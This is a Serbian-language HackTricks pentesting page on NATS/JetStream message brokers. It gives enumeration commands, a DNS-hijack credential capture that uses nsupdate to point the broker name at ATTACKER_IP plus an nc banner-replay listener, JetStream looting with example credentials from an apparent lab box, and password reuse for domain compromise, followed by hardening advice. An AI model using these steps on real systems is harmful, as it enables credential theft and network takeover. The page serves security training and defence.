4222 - Pentesting NATS / JetStream

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

NATS je visokoperformansni message bus koji koristi jednostavan tekstualni protokol: server šalje INFO { ... } JSON banner odmah nakon TCP connect, a klijent odgovara sa CONNECT {"user":"USERNAME","pass":"PASSWORD",...} framom praćenim opcionim PING/PUB/SUB komandama. JetStream dodaje primitivе perzistencije (Streams & Consumers) na isti TCP port (4222/tcp). TLS i authentication su opciona, pa mnoga interna deploymenta rade u plaintext AUTH.

  • Podrazumevani port: 4222/tcp (4223+ for clustered routes)
  • Standardna polja banera: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeracija

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO frame se takođe može ručno povući:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Instalirajte zvanični CLI (Go ≥1.21) za dublju interakciju:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

Autentifikacioni neuspeh odmah podiže nats: Authorization Violation, pa su validni kredencijali potrebni za bilo koji smisleni RPC.

Credential capture via DNS/service impersonation

  • Identifikujte zastarele AD DNS zapise za broker hostname (npr. nats-svc.domain.local). Ako zapis vraća NXDOMAIN, korisnik sa niskim privilegijama u domenu može ga ponovo kreirati zahvaljujući podrazumevanim dynamic-update ACL-ima. See AD DNS Records abuse for background.
  • Registrujte hostname na IP adresu koju kontroliše napadač:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Preslikaj legitimni banner jednom, zatim ga replay-uj svakom connecting clientu. NATS veruje prvoj INFO liniji koju vidi, zato ga treba samo proslediti kroz listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Čim interni klijent razreši hijacked name, emitovaće plaintext CONNECT frame koji sadrži user / pass par i raznu telemetriju (client name, Go version, protocol level). Pošto ništa posle INFO bannera nije potrebno, čak i nc je dovoljan za sakupljanje tajni.
  • Za duže angažmane, pokrenite zvanični server lokalno (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE logging već prikazuje korisnička imena; uklanjanje redaction helper-a ili presretanje saobraćaja pomoću Wireshark otkriva punu lozinku.

JetStream looting & password hunting

Jednom kada se bilo koji credential povrati (npr. Dev_Account_A), sačuvajte ga kao CLI context da biste izbegli ponovni unos:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

Otkrivanje JetStream obično sledi ovaj obrazac:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Timovi za streaming često beleže događaje autentifikacije u subject-e kao što su logs.auth. Ako developeri sačuvaju raw JSON u JetStream stream, payloads mogu uključivati plaintext AD korisnička imena i lozinke:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Zadržane tajne se potom mogu ponovo iskoristiti protiv Kerberos-only servisa koristeći netexec smb DC01 -u USER -p PASS -k, što omogućava potpuni kompromis domena.

Ojačavanje i detekcija

  • Primorajte TLS (tls, tls_required, or mTLS via nkey/creds). Bez enkripcije, INFO/CONNECT leaks credentials svima na putu.
  • Identifikujte ko može da ažurira DNS – delegirajte service records na namenski naloge i auditujte Event IDs 257/252 za hostnames visoke vrednosti. Kombinujte sa scavenging alerts tako da nedostajući broker names ne mogu biti tiho ponovo preuzeti.
  • Onemogućite credential logging. Scrub secrets pre objavljivanja na subjects, postavite JetStream retention/age limits, i primenjujte deny_delete=false samo za pouzdane operatore.
  • Pratite anomalije u bannerima – ponovljene kratkotrajne konekcije, authentication timeouts, ili INFO bannere koji ne odgovaraju odobrenom (blessed) šablonu ukazuju na spoofed servers.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks